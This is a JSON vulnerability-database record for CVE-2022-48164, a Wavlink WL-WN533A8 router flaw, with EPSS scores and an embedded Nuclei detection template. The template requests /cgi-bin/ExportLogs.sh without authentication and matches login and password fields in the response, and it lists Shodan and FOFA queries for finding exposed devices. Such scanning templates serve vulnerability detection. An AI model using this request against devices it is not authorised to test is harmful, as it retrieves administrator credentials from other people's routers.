{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-48164/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-48164/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-48164/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-48164/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-48164/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-48164"},"sightings":{"href":"/api/v1/sightings/cve-2022-48164"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.03096,"kev":false,"percentile":0.87182},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-48164.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-48164\n\ninfo:\n  name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure\n  author: ritikchaddha\n  severity: high\n  description: |\n    An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.\n  remediation: |\n    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.\n  impact: |\n    Successful exploitation could lead to sensitive information disclosure.\n  reference:\n    - https://docs.google.com/document/d/1JgqpBYRxyU0WKDSqkvi4Yo0723k7mrIUeuH9i1eEs8U/edit?tab=t.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-48164\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-48164\n    epss-score: 0.03096\n    epss-percentile: 0.87182\n    cpe: cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: wavlink\n    product: wl-wn533a8_firmware\n    shodan-query: html:\"WN533A8\"\n    fofa-query: body=\"WN533A8\"\n  tags: cve,cve2022,wavlink,exposure,wn533a8,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"WN533A8\")'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/ExportLogs.sh\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Login=\", \"Password=\", \"WiFi_\", \"WAVLINK\")'\n          - 'contains(content_type, \"application/octet-stream\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100a904bd40f77021ecf5c2bafceb1f92d0a1a2071d6db7f5f0b839011695220c18022100e225c995073db0765025c66f51e199c8cfce8a79589bb4d1eb2c893cdd6e25cd:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-48164"}